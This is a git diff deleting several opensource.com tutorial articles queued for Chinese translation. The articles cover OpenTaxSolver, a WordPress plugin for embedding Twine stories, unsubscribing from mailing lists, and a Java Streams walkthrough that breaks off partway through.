publisher: ( ) -[#]: url: ( ) -[#]: subject: (Getting started with OpenTaxSolver) -[#]: via: (https://opensource.com/article/20/2/do-your-taxes-open-source-way) -[#]: author: (Jessica Cherry https://opensource.com/users/jrepka) - -Getting started with OpenTaxSolver -====== -If you're a United States citizen, learn how to do your own state tax -returns with OpenTaxSolver. -![A document flying away][1] - -OpenTaxSolver is an open source application for US taxpayers to calculate their state and federal income tax returns. Before I get into the software, I want to share some of the information I learned when researching this article. I spent about five hours a day for a week looking into open source options for doing your taxes, and I learned about a lot more than just tax software. - -The Internal Revenue Service's (IRS's) [Use of federal tax information (FTI) in open source software][2] webpage offers a large amount of information, and it's especially relevant to anyone who may want to start their own open source tax software project. To hit the finer points: - - * Federal tax information (FTI) can be used in any open source software - * Software creators mush follow all security laws and compliance requirements - * Any such software must be supported either by a vendor or a community - * The software must be approved by the federal government - - - -One other reason researching this topic was rather difficult (but ultimately rewarding) is that, by federal law, the major tax software companies are required to provide their services for free to any person earning under $69,000 per year. About 70% of Americans fit into this category, and if you are one of them, you can check the IRS's [Free File][3] webpage for links to free filing software from well-known companies. (The IRS reminds you that "you are responsible for determining your eligibility for one of the Free File Online offers.") - -Please share this information broadly—knowledge is power, and not everyone can (or wants to) use open source software to do their taxes for reasons including: - - * Lack of computer or software access - * Low computer competence - * Age or disability - * Discomfort with doing taxes - - - -If you don't fall into any of these categories and want to do your taxes the open source way, continue reading to learn about OpenTaxSolver. - -### About OpenTaxSolver - -[OpenTaxSolver][4] is meant to be used with the IRS's [tax booklet][5], which is published yearly. This booklet provides detailed information for doing your taxes, such as rules around tax credits and write-offs. - -OpenTaxSolver cuts down on tax calculations when you fill out your tax forms and simplifies the hardest part of doing your taxes: the math. You still have to fill in your data and turn the paperwork in, but using the software means you can do it in about half of the time. Since OpenTaxSolver is running in beta, you have to double-check all of your number entries and information against the official IRS tax booklet after you use the software. - -### Download and install OpenTaxSolver - -First, [download the software][6]. There are versions for Linux, Windows, and macOS. If you're using one of the latter two, refer to the download page for installation instructions. I'm using my go-to operating system, Ubuntu Linux, which I installed by: - - 1. Downloading the TGZ file from the website - 2. Extracting it to my desktop (but you can choose any location on your computer) - 3. Clicking on **Run_taxsolve_GUI** - - - -![OpenTaxSolver installation][7] - -### Enter your tax data - -I'll walk through this example using random numbers (for obvious reasons). This walkthrough will explain how do federal taxes with OpenTaxSolver, but if you have to pay state taxes, do that before you begin your federal return. - -To do the common Federal 1040 tax return, select **US 1040**, click **Start New Return**, and start answering some basic questions about your tax situation. For this example, I selected the following itemized deductions: mortgage interest, donations, and some random itemizable write-offs. If you don't know what these are or what may apply to you, head over to the IRS website or google "itemizable write-offs." - -Next, begin entering the data from your tax documents. - -![OpenTaxSolver][8] - -![OpenTaxSolver][9] - -After you finish entering all your data and filling out the entire form, save it by clicking the **Save** button, and then click **Compute Tax** on the bottom of the screen. - -![OpenTaxSolver][10] - -### Check your return and file your taxes - -If you made any mistakes (such as mistyping something or putting an incorrect value in any field), it will show an error on the bottom of the preview after the computation finishes. - -![OpenTaxSolver preview][11] - -The preview also reports your marginal tax rate and what percentage of your income you are paying in taxes. - -![OpenTaxSolver preview][12] - -After you review the information in the preview, make any corrections, and finish your return, click **Fill-out PDF Forms**, and it will provide printable tax forms with all of your information filled in. - -![Tax return][13] - -If you entered your name, address, and social security number when entering your data, all of that information will also appear in the right places on the form. Double-check everything, print it, and mail your tax return to the IRS. - -### Final notes - -OpenTaxSolver gives you the opportunity to file your own federal and state taxes. As always, with any federal related tax information (or federal anything, for that matter), always double-check and use due diligence. I found this software very useful for expanding my knowledge about my taxes. - -The OpenTaxSolver website includes a request for contributors, so if you want to start contributing to an open source project that helps everyone, this is one I'd definitely suggest. - -And if you're someone who likes to wait until the last minute to pay your taxes, this [clock][14] tells you how much time you have until your taxes are due. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/do-your-taxes-open-source-way - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jrepka -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc_odf_1109ay.png?itok=4CqrPAjt (A document flying away) -[2]: https://www.irs.gov/privacy-disclosure/use-of-federal-tax-information-fti-in-open-source-software -[3]: https://apps.irs.gov/app/freeFile/ -[4]: http://opentaxsolver.sourceforge.net/index.html -[5]: https://www.irs.gov/pub/irs-pdf/i1040gi.pdf -[6]: http://opentaxsolver.sourceforge.net/download2019.html?button=+Download+OTS+ -[7]: https://opensource.com/sites/default/files/uploads/tax2.png (OpenTaxSolver installation) -[8]: https://opensource.com/sites/default/files/uploads/tax1.png (OpenTaxSolver) -[9]: https://opensource.com/sites/default/files/uploads/tax7.png (OpenTaxSolver) -[10]: https://opensource.com/sites/default/files/uploads/tax6.png (OpenTaxSolver) -[11]: https://opensource.com/sites/default/files/uploads/tax3.png (OpenTaxSolver preview) -[12]: https://opensource.com/sites/default/files/uploads/tax4.png (OpenTaxSolver preview) -[13]: https://opensource.com/sites/default/files/uploads/tax5.png (Tax return) -[14]: https://countdown.onlineclock.net/countdowns/taxes/ diff --git a/sources/tech/20200218 How to embed Twine stories in WordPress.md b/sources/tech/20200218 How to embed Twine stories in WordPress.md deleted file mode 100644 index 5f2419aa5e..0000000000 --- a/sources/tech/20200218 How to embed Twine stories in WordPress.md +++ /dev/null @@ -1,229 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to embed Twine stories in WordPress) -[#]: via: (https://opensource.com/article/20/2/embed-twine-wordpress) -[#]: author: (Roman Lukš https://opensource.com/users/romanluks) - -How to embed Twine stories in WordPress -====== -Share your Twine 2 interactive stories on your WordPress site with the -Embed Twine plugin. -![Person drinking a hat drink at the computer][1] - -From the very beginning, I wanted the "About me" page on my WordPress website [romanluks.eu][2] to be interactive. - -At first, I experimented with Dart, a programming language developed by Google that transcompiles into JavaScript. I killed the project when I realized I was making a game instead of an "About me" page. - -A bit later, I discovered [Twine][3], an open source tool for creating interactive stories. It reminded me of the gamebooks I loved as a kid. It's so easy to create interconnected pieces of text in Twine, and it's ideal for the interview-like format I was aiming for. Because Twine publishes directly to HTML, you can do a lot of interesting things with it—including creating [interactive fiction][4] and [adventure games][5] or publishing stories on a blog or website. - -### Early struggles - -I created my "About me" page in Twine and tried to paste it into my WordPress page. - -"No, can do," said WordPress and Twine. - -You see, a Twine story exported from Twine is just a webpage (i.e., a file in HTML format). However, it not only includes HTML but JavaScript code, as well. And somehow it doesn't work when you simply try to copy-paste the contents. I tried copy-pasting just the body of the Twine story page without success. - -I thought, "I guess I need to add that JavaScript code separately," and I tried custom fields. - -Nope. - -I took a break from my investigation. I just uploaded my "About me" Twine story via FTP and linked to it from my website's menu. People could visit it and interact with the story, however, there was no menu, and it didn't feel like a part of my website. I had made a trap for myself. It made me realize I really _really_ wanted my "About me" included directly on my website. - -### DIY embed - -I took a stab at the problem and came up with [this solution][6]. - -It worked. It wasn't perfect, but it worked. - -But it wasn't _perfect_. Is there a better way? There is bound to be a better way… - -It cost me a couple of pulled hairs, but I managed to get a [responsive iframe and autoscroll][7]. - -It was way better. I was proud of myself and shared it on [Reddit][8]. - -### The road to Embed Twine - -Suddenly, an idea! What if, instead of following my tutorial, people could use a WordPress plugin? - -They would only have to give the plugin a Twine story, and it would take care of the rest. Hassle-free. No need to copy-paste any JavaScript code. - -Wouldn't that be glorious?!? - -I had no idea how WordPress plugins work. I only knew they are written in PHP. A while back, I had part-time work as a PHP developer, and I remembered the basics. - -### Containers and WordPress - -I mentioned my idea to a friend, and he suggested I could use containers as my WordPress development environment. - -In the past, I'd always used [XAMPP][9], but I wanted to try containers for a while. - -No problem, I thought! I'll learn containers while I learn how to make a WordPress plugin and revive my PHP skills. That should be sufficiently stimulating. - -And it was. - -I can't recall how many times I stopped, removed, and rebuilt my containers. I had to use the command line. And the file permissions are painful. - -Oh boy! It was like playing a game that you enjoy playing even though it makes you fairly angry. It was challenging but rewarding. - -I found out that it's very easy to create a simple WordPress plugin: - - * Write the source code - * Save it in the WP plugin directory - * Test it - * Repeat - - - -Containers make it easy to use a specific environment and are easy to clean up when you screw up and need to start over. - -Using Git saved me from accidentally wiping out my entire codebase. I used [Sourcetree][10] as my Git user interface. Initially, I wrote my code in [Notepad++][11], but when I divided my code into multiple files, I switched to [Atom][12]. It's such a cool editor for geeks. Using it feels like the code writes itself. - -### Intermission - -So what do we know so far? - - * I wanted an interactive "About me" page - * I created an "About me" story in Twine - * Twine exports webpages (as HTML files with JavaScript included) - * WP plugins are easy to make - * Containers are awesome - - - -### Embed Twine is born - -I wanted an easy way to embed Twine stories into WordPress. So, I used the power of software development, fooled around with containers, wrote a bit of PHP code, and published the result as a WordPress plugin called [Embed Twine][13]. - -### Install the plugin - - 1. Upload the plugin [files][14] to the **/wp-content/plugins/plugin-name** directory, or install the plugin through the WordPress Plugins screen. - 2. Activate the plugin through the Plugins screen in WordPress. - - - -### Use the plugin - -After you've installed the Embed Twine plugin and created a Twine 2 story, embed it in your WordPress site: - - 1. Export your Twine 2 story into an HTML file. - 2. Upload it via the plugin's interface. - 3. Insert the shortcode into the page or post. - 4. Enjoy your embedded story. - - - -The plugin also provides autoscroll functionality to make it easy for users to navigate through your stories. - -### Configure the plugin - -The plugin is configurable via shortcode parameters. To use the shortcode, simply put **[embed_twine]** into your post. - -You can use additional parameters in the format **[embed_twine story="Story" aheight=112 autoscroll=true ascroll=100]** as follows: - - * **story:** Specify the story name (the filename without an extension). - * If the story parameter is omitted, it defaults to "Story." This means there is no need to use this parameter if your Twine filename is Story.html. - * If you upload a Twine story called MyFooBar.html, use the shortcode: **[embed_twine story="MyFooBar"]**. - * **aheight:** Use this parameter to adjust the iframe's height. You might need to tweak **aheight** to get rid of an iframe scrollbar. The default value is 112; this value is added to the iframe height and used to set the iframe's **style.height**. - * **autoscroll:** Autoscroll is enabled by default. You can turn it off with shortcode parameter **[embed_twine autoscroll=false]**. - * **ascroll:** Use this to adjust the default position for autoscroll. The default value is 100; this value is subtracted from the iframe's top position and fed into JavaScript method **window.scrollTo()**. - - - -### Known bugs - -Currently, Twine passages that include images might report their height incorrectly, and the scrollbar might show up for these passages. Tweak the shortcode parameter **aheight** to get rid of them. - -### The script - - -``` -1       <?php -2       -3       /** -4       * Plugin Name: Embed Twine -5       * Description: Insert Twine stories into WordPress -6       * Version: 0.0.6 -7       * Author: Roman Luks -8       * Author URI: -9       * License: GPLv2 or later -10      */ -11      -12      require_once('include/embed-twine-load-file.php'); -13      require_once('include/embed-twine-parent-page.php'); -14      require_once('include/embed-twine-process-story.php'); -15      -16      // Add plugin to WP menu -17      function embed_twine_customplugin_menu() { -18      -19          add_menu_page("Embed Twine", "Embed Twine","manage_options", __FILE__, "embed_twine_uploadfile"); -20      } -21      -22      add_action("admin_menu", "embed_twine_customplugin_menu"); -23      -24      function embed_twine_uploadfile(){ -25          include "include/embed-twine-upload-file.php"; -26      } -27      -28      // Add shortcode -29      function embed_twine_shortcodes_init() -30      { -31          function embed_twine_shortcode($atts = [], $content = null) -32          { -33              // Attributes -34              $atts = shortcode_atts( -35                  [array][15]( -36                      'story' => 'Story', -37                      'aheight' => 112,       //adjust for style.height (30) and margins of tw-story (2x41) -38                      'autoscroll' => true,   //autoscroll enabled by default -39                      'ascroll' => 100,       //adjust for autoscroll -40                  ), -41                  $atts, -42                  'embed_twine' -43              ); -44      -45              $content = embed_twine_buildParentPage($atts['story'], $atts['aheight'], $atts['autoscroll'], $atts['ascroll']); -46      -47              return $content; -48          } -49          add_shortcode('embed_twine', 'embed_twine_shortcode'); -50      } -51      add_action('init', 'embed_twine_shortcodes_init'); -``` - -* * * - -_This article is adapted from [Roman Luks' blog][16] and [Embed Twine][13] page on WordPress plugins._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/embed-twine-wordpress - -作者:[Roman Lukš][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/romanluks -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/coffee_tea_laptop_computer_work_desk.png?itok=D5yMx_Dr (Person drinking a hat drink at the computer) -[2]: https://romanluks.eu/ -[3]: https://twinery.org/ -[4]: https://opensource.com/article/18/7/twine-vs-renpy-interactive-fiction -[5]: https://opensource.com/article/18/2/twine-gaming -[6]: https://romanluks.eu/blog/how-to-embed-twine-on-your-wordpress-website/ -[7]: https://romanluks.eu/blog/how-to-embed-twine-on-your-wordpress-website-with-responsive-iframe-and-autoscroll/ -[8]: https://www.reddit.com/r/twinegames/comments/dtln4z/how_to_embed_twine_on_your_wordpress_website_with/ -[9]: https://en.wikipedia.org/wiki/XAMPP -[10]: https://www.sourcetreeapp.com/ -[11]: https://notepad-plus-plus.org/ -[12]: https://atom.io/ -[13]: https://wordpress.org/plugins/embed-twine/ -[14]: https://plugins.trac.wordpress.org/browser/embed-twine/ -[15]: http://www.php.net/array -[16]: https://romanluks.eu/blog/embed-twine-wordpress-plugin/ diff --git a/sources/tech/20200219 How to conveniently unsubscribe from a mailing list.md b/sources/tech/20200219 How to conveniently unsubscribe from a mailing list.md deleted file mode 100644 index ab0a962efa..0000000000 --- a/sources/tech/20200219 How to conveniently unsubscribe from a mailing list.md +++ /dev/null @@ -1,93 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to conveniently unsubscribe from a mailing list) -[#]: via: (https://opensource.com/article/20/2/how-unsubscribe-mailing-list) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -How to conveniently unsubscribe from a mailing list -====== -Cut down on your email clutter by removing yourself from email lists you -no longer need. -![Photo by Anthony Intraversato on Unsplash][1] - -If you're on an email discussion group long enough, at some point, you'll see an email from a list member asking to be unsubscribed. Typically, at least 10 other people on the list will respond with instructions on how to unsubscribe, and those 10 responses will be answered by 10 more people confirming or commenting on the instructions. That's a _lot_ of traffic to a mailing list just so one person can unsubscribe. - -But unsubscribing from a list can be confusing, especially if you've gotten on the list by accident. It's frustrating to discover that you've been added to a list, and it's annoying that you have to take time out of your day to extricate yourself. This article is here to help make unsubscribing fast, easy, and graceful. - -Never send an unsubscribe email to the same email address you use to post messages - -### Unsubscribe by email - -Mailing lists are controlled by mailing list software (like [GNU Mailman][2]) on a server. You probably aren't aware of the software controlling a mailing list you're on, because they're usually designed to stay out of the way and just deliver mail. But as a member of a mailing list, you actually have some user control over the software. - -Some mailing lists allow you to unsubscribe using an automated email address. It can be a little confusing because the email address you use to unsubscribe is NOT the email address you use to send messages to the list. Essentially, you're sending a special command to the email server, telling it to take you off the list. This is a convenient method of unsubscribing because it means you don't have to compose a message or wait for anyone to take action. You speak directly to the computer sending the email, and it does exactly as it's told. - -To unsubscribe from a list, take the email address of the list, add **-leave** just before the **@** symbol, and send a message. You can email a blank message; the computer doesn't care. The fact that you're emailing the list with the **-leave** command in front of the **@** symbol is all it needs. - -Here's an example. - -Say you've joined the mailing list Funny Squirrels. You send a few messages to [funnysquirrels@example.com][3] but soon find that squirrels are not as amusing as you'd hoped. To unsubscribe, you can send an email to: - - -``` -`funnysquirrels-leave@example.com` -``` - -You may get a final confirmation email back, and then you'll hear from the mailing list no more. - -#### Custom email commands - -Sometimes the administrator of a mail server changes the command for unsubscribing. Ideally, they'll include the unsubscribe email address in the footer of emails sent to the mailing list, so check for that before sending your parting email. - -The thing to keep in mind is that an unsubscribe email _never_ goes to the actual list, meaning you should never send an unsubscribe email to the same email address you use to post messages. There's a special, separate email address reserved for the unsubscribe command. - -### Unsubscribing by webform - -Some mailing lists have a webform for unsubscribing, and ideally, it can be found in the footer of each mailing list message. You can navigate to the webform and opt out of your subscription. - -This method is common for commercial mailing lists, and it's sometimes a way for them to capture any feedback you have about the list, why you're leaving, and so on. Like the automated email method, the intent is for you to maintain full control of your own subscription. You never have to wait for a human to take you off of a list; instead, you can issue commands directly to a computer. - -![Example unsubscribe web form][4] - -A webform may send you a final confirmation email, and after that, you should hear nothing from that mailing list ever again. - -### Unsubscribing like a pro - -Leaving a mailing list is a guilt-free and nonaggressive act. When you want to leave a mailing list, you should be able to find an unsubscribe email address or webform to make it automated and final. - -If, in spite of using the methods above, you can't leave a mailing list, don't email the list. Very few people on the mailing list have control over who is subscribed, and sometimes the people who have access to the list of subscribers are not monitoring the list—they're only maintaining the server. Instead, find out what server hosts the mailing list, and contact the hosting provider to alert them of the abuse. - -You can find the host of a mailing list by searching for the server name (the part of the email address to the _right_ of the **@** symbol) on a **whois** service. If you're running Linux, you can do this from a terminal: - - -``` -`$ whois ` -``` - -Otherwise, use the [Whois.net][5] website. - -Whois provides the internet hosting provider of any email server plus the abuse and support contact information. - -Remember: you are always free to leave a mailing list for any reason, without getting permission from anyone else. And now that you know how, you'll be able to unsubscribe like a pro! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/how-unsubscribe-mailing-list - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/anthony-intraversato-pt_wqgzaiu8-unsplash.jpg?itok=5bbMlgt8 (Photo by Anthony Intraversato on Unsplash) -[2]: https://www.list.org/ -[3]: mailto:funnysquirrels@example.com -[4]: https://opensource.com/sites/default/files/uploads/mail-webform.jpg (Example unsubscribe web form) -[5]: http://whois.net diff --git a/sources/tech/20200221 Don-t like loops- Try Java Streams.md b/sources/tech/20200221 Don-t like loops- Try Java Streams.md deleted file mode 100644 index e327d045a3..0000000000 --- a/sources/tech/20200221 Don-t like loops- Try Java Streams.md +++ /dev/null @@ -1,427 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Don't like loops? Try Java Streams) -[#]: via: (https://opensource.com/article/20/2/java-streams) -[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) - -Don't like loops? Try Java Streams -====== -It's 2020 and time to learn about Java Streams. -![Person drinking a hat drink at the computer][1] - -In this article, I will explain how to not write loops anymore. - -What? Whaddaya mean, no more loops? - -Yep, that's my 2020 resolution—no more loops in Java. Understand that it's not that loops have failed me, nor have they led me astray (well, at least, I can argue that point). Really, it is that I, a Java programmer of modest abilities since 1997 or so, must finally learn about all this new [Streams][2] stuff, saying "what" I want to do and not "how" I want to do it, maybe being able to parallelize some of my computations, and all that other good stuff. - -I'm guessing that there are other Java programmers out there who also have been programming in Java for a decent amount of time and are in the same boat. Therefore, I'm offering my experiences as a guide to "how to not write loops in Java anymore." - -### Find a problem worth solving - -If you're like me, then the first show-stopper you run into is "right, cool stuff, but what am I solving for, and how do I apply this?" I realized that I can spot the perfect opportunity camouflaged as _Something I've Done Before_. - -In my case, it's sampling land cover within a specific area and coming up with an estimate and a confidence interval around that estimate for the land cover across the whole area. The specific problem involves deciding whether an area is "forested" or not, given a specific legal definition: if at least 10% of the soil is covered over by tree crowns, then the area is considered to be forested; otherwise, it's something else. - -![Image of land cover in an area][3] - -It's a pretty esoteric example of a recurring problem; I'll grant you. But there it is. For the ecologists and foresters out there who are accustomed to cool temperate or tropical forests, 10% might sound kind of low, but in the case of dry areas with low-growing shrubs and trees, that's a reasonable number. - -So the basic idea is: use images to stratify the area (i.e., areas completely devoid of trees, areas of predominantly small trees spaced quite far apart, areas of predominantly small trees spaced closer together, areas of somewhat larger trees), locate some samples in those strata, send the crew out to measure the samples, analyze the results, and calculate the proportion of soil covered by tree crowns across the area. Simple, right? - -![Survey team assessing land cover][4] - -### What the field data looks like - -In the current project, the samples are rectangular areas 20 meters wide by 25 meters long, so 500 square meters each. On each patch, the field crew measured each tree: its species, its height, the maximum and minimum width of its crown, and the diameter of its trunk at trunk height (nominally 30cm above the ground). This information was collected, entered into a spreadsheet, and exported to a bar separated value (BSV) file for me to analyze. It looks like this: - -Stratum# | Sample# | Tree# | Species | Trunk diameter (cm) | Crown diameter 1 (m) | Crown diameter 2 (m) | Height (m) ----|---|---|---|---|---|---|--- -1 | 1 | 1 | Ac | 6 | 3.6 | 4.6 | 2.4 -1 | 1 | 2 | Ac | 6 | 2.2 | 2.3 | 2.5 -1 | 1 | 3 | Ac | 16 | 2.5 | 1.7 | 2.4 -1 | 1 | 4 | Ac | 6 | 1.5 | 2.1 | 1.8 -1 | 1 | 5 | Ac | 5 | 0.9 | 1.7 | 1.7 -1 | 1 | 6 | Ac | 6 | 1.7 | 1.3 | 1.6 -1 | 1 | 7 | Ac | 5 | 1.82 | 1.32 | 1.8 -1 | 1 | 1 | Ac | 1 | 0.3 | 0.25 | 0.9 -1 | 1 | 2 | Ac | 2 | 1.2 | 1.2 | 1.7 - -The first column is the stratum number (where 1 is "predominantly small trees spaced quite far apart," 2 is "predominantly small trees spaced closer together," and 3 is "somewhat larger trees"; we didn't sample the areas "completely devoid of trees"). The second column is the sample number (there are 73 samples altogether, located in the three strata in proportion to the area of each stratum). The third column is the tree number within the sample. The fourth is the two-letter species code, the fifth the trunk diameter (in this case, 10cm above ground or exposed roots), the sixth the smallest distance across the crown, the seventh the largest distance, and the eighth the height of the tree. - -For the purposes of this exercise, I'm only concerned with the total amount of ground covered by the tree crowns—not the species, nor the height, nor the diameter of the trunk. - -In addition to the measurement information above, I also have the areas of the three strata, also in a BSV: - -stratum | hectares ----|--- -1 | 114.89 -2 | 207.72 -3 | 29.77 - -### What I want to do (not how I want to do it) - -In keeping with one of the main design goals of Java Streams, here is "what" I want to do: - - 1. Read the stratum area BSV and save the data as a lookup table. - 2. Read the measurements from the measurement BSV file. - 3. Accumulate each measurement (tree) to calculate the total area of the sample covered by tree crowns. - 4. Accumulate the sample tree crown area values and count the number of samples to estimate the mean tree crown area coverage and standard error of the mean for each stratum. - 5. Summarize the stratum figures. - 6. Weigh the stratum means and standard errors by the stratum areas (looked up from the table created in step 1) and accumulate them to estimate the mean tree crown area coverage and standard error of the mean for the total area. - 7. Summarize the weighted figures. - - - -Generally speaking, the way to define "what" with Java Streams is by creating a stream processing pipeline of function calls that pass over the data. So, yes, there is actually a bit of "how" that ends up creeping in… in fact, quite a bit of "how." But, it needs a very different knowledge base than the good, old fashioned loop. - -I'll go through each of these steps in detail. - -#### Build the stratum area table - -The first job is to convert the stratum areas BSV file to a lookup table: - - -``` -[String][5] fileName = "stratum_areas.bsv"; -Stream<String> inputLineStream = Files.lines(Paths.get(fileName));  // (1) - -final Map<[Integer][6],Double> stratumAreas =   // (2) -    inputLineStream     // (3) -        .skip(1)                   // (4) -        .map(l -> l.split("\\\|"))  // (5) -        .collect(                  // (6) -            Collectors.toMap(      // (7) -                a -> [Integer][6].parseInt(a[0]),  // (8) -                a -> [Double][7].parseDouble(a[1]) // (9) -            ) -        ); -inputLineStream.close();   // (10) - -[System][8].out.println("stratumAreas = " + stratumAreas);  // (11) -``` - -I'll take this a line or two at a time, where the numbers in comments following the lines above—e.g., _// (3)_— correspond to the numbers below: - - 1. java.nio.Files.lines() gives a stream of strings corresponding to lines in the file. - 2. The goal is to create the lookup table, **stratumAreas**, which is a **Map<Integer,Double>**. Therefore, I can get the **double** value area for stratum 2 as **stratumAreas.get(2)**. - 3. This is the beginning of the stream "pipeline." - 4. Skip the first line in the pipeline since it's the header line containing the column names. - 5. Use **map()** to split the **String** input line into an array of **String** fields, with the first field being the stratum # and the second being the stratum area. - 6. Use **collect()** to [materialize the results][9]. - 7. The materialized result will be produced as a sequence of **Map** entries. - 8. The key of each map entry is the first element of the array in the pipeline—the **int** stratum number. By the way, this is a _Java lambda_ expression—[an anonymous function][10] that takes an argument and returns that argument converted to an **int**. - 9. The value of each map entry is the second element of the array in the pipeline—the **double** stratum area. - 10. Don't forget to close the stream (file). - 11. Print out the result, which looks like: [code]`stratumAreas = {1=114.89, 2=207.72, 3=29.77}` -``` -### Build the measurements table and accumulate the measurements into the sample totals - -Now that I have the stratum areas, I can start processing the main body of data—the measurements. I combine the two tasks of building the measurements table and accumulating the measurements into the sample totals since I don't have any interest in the measurement data per se. -``` - - -fileName = "sample_data_for_testing.bsv"; -inputLineStream = Files.lines(Paths.get(fileName)); - - final Map<[Integer][6],Map<[Integer][6],Double>> sampleValues = -    inputLineStream -        .skip(1) -        .map(l -> l.split("\\\|")) -        .collect(                  // (1) -            Collectors.groupingBy(a -> [Integer][6].parseInt(a[0]),     // (2) -                Collectors.groupingBy(b -> [Integer][6].parseInt(b[1]), // (3) -                    Collectors.summingDouble(                      // (4) -                        c -> {                                     // (5) -                            double rm = ([Double][7].parseDouble(c[5]) + -                                [Double][7].parseDouble(c[6]))/4d;      // (6) -                            return rm*rm * [Math][11].PI / 500d;         // (7) -                        }) -                ) -            ) -        ); -inputLineStream.close(); - -[System][8].out.println("sampleValues = " + sampleValues);  // (8) - -``` -Again, a line or two or so at a time: - - 1. The first seven lines are the same in this task and the previous, except the name of this lookup table is **sampleValues**; and it is a **Map** of **Map**s. - 2. The measurement data is grouped into samples (by sample #), which are, in turn, grouped into strata (by stratum #), so I use **Collectors.groupingBy()** at the topmost level [to separate data][12] into strata, with **a[0]** here being the stratum number. - 3. I use **Collectors.groupingBy()** once more to separate data into samples, with **b[1]** here being the sample number. - 4. I use the handy **Collectors.summingDouble()** [to accumulate the data][13] for each measurement within the sample within the stratum. - 5. Again, a Java lambda or anonymous function whose argument **c** is the array of fields, where this lambda has several lines of code that are surrounded by **{** and **}** with a **return** statement just before the **}**. - 6. Calculate the mean crown radius of the measurement. - 7. Calculate the crown area of the measurement as a proportion of the total sample area and return that value as the result of the lambda. - 8. Again, similar to the previous task. The result looks like (with some numbers elided): [code]`sampleValues = {1={1=0.09083231861452731, 66=0.06088002082602869, ... 28=0.0837823490804228}, 2={65=0.14738326403381743, 2=0.16961183847374103, ... 63=0.25083064794883453}, 3={64=0.3306323635177101, 32=0.25911911184680053, ... 30=0.2642668470291564}}` -``` - - - -This output shows the **Map** of **Map**s structure clearly—there are three entries in the top level corresponding to the strata 1, 2, and 3, and each stratum has subentries corresponding to the proportional area of the sample covered by tree crowns. - -#### Accumulate the sample totals into the stratum means and standard errors - -At this point, the task becomes more complex; I need to count the number of samples, sum up the sample values in preparation for calculating the sample mean, and sum up the squares of the sample values in preparation for calculating the standard error of the mean. I may as well incorporate the stratum area into this grouping of data as well, as I'll need it shortly to weigh the stratum results together. - -So the first thing to do is create a class, **StratumAccumulator**, to handle the accumulation and provide the calculation of the interesting results. This class implements **java.util.function.DoubleConsumer**, which can be passed to **collect()** to handle accumulation: - - -``` -class StratumAccumulator implements DoubleConsumer { -    private double ha; -    private int n; -    private double sum; -    private double ssq; -    public StratumAccumulator(double ha) { // (1) -        this.ha = ha; -        this.n = 0; -        this.sum = 0d; -        this.ssq = 0d; -    } -    public void accept(double d) { // (2) -        this.sum += d; -        this.ssq += d*d; -        this.n++; -    } -    public void combine(StratumAccumulator other) { // (3) -        this.sum += other.sum; -        this.ssq += other.ssq; -        this.n += other.n; -    } -    public double getHa() {  // (4) -        return this.ha; -    } -    public int getN() {  // (5) -        return this.n; -    } -    public double getMean() {  // (6) -        return this.n > 0 ? this.sum / this.n : 0d; -    } -    public double getStandardError() {  // (7) -        double mean = this.getMean(); -        double variance = this.n > 1 ? (this.ssq - mean*mean*n)/(this.n - 1) : 0d; -        return this.n > 0 ? [Math][11].sqrt(variance/this.n) : 0d; -    } -} -``` - -Line-by-line: - - 1. The constructor **StratumAccumulator(double ha)** takes an argument, the area of the stratum in hectares, which allows me to merge the stratum area lookup table into instances of this class. - 2. The **accept(double d)** method is used to accumulate the stream of double values, and I use it to: -a. Count the number of values. -b. Sum the values in preparation for computing the sample mean. -c. Sum the squares of the values in preparation for computing the standard error of the mean. - 3. The **combine()** method is used to merge substreams of **StratumAccumulator**s (in case I want to process in parallel). - 4. The getter for the area of the stratum - 5. The getter for the number of samples in the stratum - 6. The getter for the mean sample value in the stratum - 7. The getter for the standard error of the mean in the stratum - - - -Once I have this accumulator, I can use it to accumulate the sample values pertaining to each stratum: - - -``` -final Map<[Integer][6],StratumAccumulator> stratumValues =   // (1) -    sampleValues.entrySet().stream()   // (2) -        .collect(                      // (3) -            Collectors.toMap(          // (4) -                e -> e.getKey(),       // (5) -                e -> e.getValue().entrySet().stream()   // (6) -                    .map([Map.Entry][14]::getValue)           // (7) -                    .collect(          // (8) -                        () -> new StratumAccumulator(stratumAreas.get(e.getKey())),   // (9) -                        StratumAccumulator::accept,     // (10) -                        StratumAccumulator::combine)    // (11) -            ) -        ); -``` - -Line-by-line: - - 1. This time, I'm using the pipeline to build **stratumValues**, which is a **Map<Integer,StratumAccumulator>**, so **stratumValues.get(3)** will return the **StratumAccumulator** instance for stratum 3. - 2. Here, I'm using the **entrySet().stream()** method provided by **Map** to get a stream of (key, value) pairs; recall these are **Map**s of sample values by stratum. - 3. Again, I'm using **collect()** to gather the pipeline results by stratum… - 4. using **Collectors.toMap()** to generate a stream of **Map** entries… - 